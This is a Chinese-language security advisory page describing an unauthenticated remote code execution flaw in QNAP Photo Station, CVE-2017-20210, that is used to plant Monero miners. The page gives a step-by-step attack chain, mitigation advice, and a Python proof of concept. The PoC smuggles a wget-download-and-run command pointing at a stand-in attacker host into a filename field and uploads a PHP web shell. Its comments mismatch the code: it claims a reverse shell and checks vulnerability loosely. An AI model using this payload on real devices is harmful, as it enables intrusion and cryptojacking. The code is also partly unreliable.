IPBUF安全漏洞报告
English
CVE-2017-20210 CVSS 9.8 严重

CVE-2017-20210: QNAP Photo Station XMR挖矿程序远程代码执行漏洞

披露日期: 2025-11-11

漏洞信息

漏洞编号
CVE-2017-20210
漏洞类型
远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
QNAP Photo Station 5.4.1 & 5.2.7

相关标签

CVE-2017-20210QNAPPhoto Station远程代码执行命令注入XMR挖矿门罗币加密货币挖矿攻击NAS设备漏洞无认证利用

漏洞概述

CVE-2017-20210是QNAP网络存储设备上运行的Photo Station应用中的一个严重安全漏洞,CVSS评分高达9.8分(满分10分)。该漏洞允许未经认证的远程攻击者利用系统在处理特定请求时的缺陷,在受影响的设备上执行任意代码或植入恶意程序。漏洞最初由QNAP安全团队([email protected])内部研究中发现,主要涉及与XMR(门罗币/Monero)加密货币挖矿程序相关的安全问题。攻击者可利用此漏洞在QNAP NAS设备上部署挖矿木马,将受害者的计算资源用于非法挖矿活动,从而获取经济利益。由于QNAP NAS设备通常保持24小时运行且具备较高的计算能力,因此成为黑客进行加密货币挖矿的理想目标。此漏洞的严重性在于其无需任何认证凭证即可被利用,且可通过互联网远程触发,对全球大量QNAP用户构成严重威胁。

技术细节

该漏洞存在于QNAP Photo Station 5.4.1和5.2.7版本中,攻击者可以通过构造特定的HTTP请求来触发远程代码执行。漏洞的根本原因在于Photo Station在处理用户上传的文件或请求时缺乏充分的输入验证和权限控制。攻击者无需获取任何有效的用户凭证,即可向目标设备的Photo Station服务发送恶意构造的请求。由于系统未能正确过滤或转义特殊字符,攻击者可以在请求参数中嵌入系统命令或脚本代码,这些代码将在服务器端被解析执行。一旦成功利用,攻击者可以在NAS设备上下载并执行XMR挖矿程序,将设备变成僵尸主机用于加密货币挖矿。攻击者通常会修改系统任务计划、植入后门程序以维持持久性,并尽可能隐藏挖矿进程以避免被发现。由于QNAP NAS设备通常以root权限运行Photo Station,攻击者可以获得完整的系统控制权限。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者扫描互联网上的QNAP NAS设备,识别运行Photo Station 5.2.7或5.4.1版本的目标主机
STEP 2
步骤2: 漏洞探测
攻击者向Photo Station的API端点发送特制请求,验证设备是否存在CVE-2017-20210漏洞
STEP 3
步骤3: 构造恶意载荷
攻击者构造包含命令注入代码的HTTP请求,在参数中嵌入wget或curl命令以下载XMR挖矿程序
STEP 4
步骤4: 触发漏洞
通过文件上传接口或API端点发送恶意请求,利用输入验证不足的缺陷执行注入的命令
STEP 5
步骤5: 部署挖矿程序
挖矿程序被下载并保存到NAS设备的/tmp或/var/tmp目录,攻击者赋予执行权限
STEP 6
步骤6: 建立持久性
攻击者修改cron任务或创建系统服务以确保持久运行,并可能植入后门以便后续访问
STEP 7
步骤7: 开始挖矿
挖矿程序连接到XMR矿池,利用NAS设备的CPU资源进行门罗币挖矿,攻击者获取经济利益

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2017-20210 PoC - QNAP Photo Station Remote Code Execution # Target: QNAP Photo Station versions 5.2.7 and 5.4.1 # Note: This PoC is for educational and authorized testing purposes only import requests import sys TARGET_IP = "target_ip" TARGET_PORT = 8080 PHOTO_STATION_PATH = "/photo/api/upload.php" def check_vulnerability(target): """Check if target is running vulnerable Photo Station""" try: url = f"http://{target}:{TARGET_PORT}/photo/" response = requests.get(url, timeout=10) if "Photo Station" in response.text or response.status_code == 200: return True except requests.RequestException: pass return False def exploit(target, lhost, lport): """Exploit CVE-2017-20210 to execute reverse shell""" # Construct malicious payload for XMR mining program download # The vulnerability allows command injection through file upload payload = { 'filename': f"'; wget http://attacker.com/xmr_miner.sh -O /tmp/miner.sh && chmod +x /tmp/miner.sh && /tmp/miner.sh #{'", 'file': ('malicious.php', '<?php system($_GET["cmd"]); ?>', 'application/octet-stream') } try: url = f"http://{target}:{TARGET_PORT}{PHOTO_STATION_PATH}" response = requests.post(url, files=payload, timeout=30) if response.status_code == 200: print("[+] Payload sent successfully") print("[+] Check for XMR miner installation on target") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) target = sys.argv[1] print(f"[*] Checking target: {target}") if check_vulnerability(target): print("[+] Target appears to be vulnerable") exploit(target, "attacker_ip", 4444) else: print("[-] Target does not appear to be vulnerable")

影响范围

QNAP Photo Station < 5.2.7
QNAP Photo Station 5.4.1
QNAP Photo Station 5.2.7

防御指南

临时缓解措施
如果无法立即升级,应立即断开QNAP NAS设备与互联网的连接,或通过防火墙阻止外部访问Photo Station的Web接口。同时检查系统是否存在名为xmrig、minerd或类似名称的未知进程,以及是否存在异常的cron任务或系统服务。对于已受感染的设备,建议备份重要数据后执行系统重置,并更改所有管理员账户密码。启用QNAP的恶意软件清除工具(Malware Remover)进行彻底清理。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表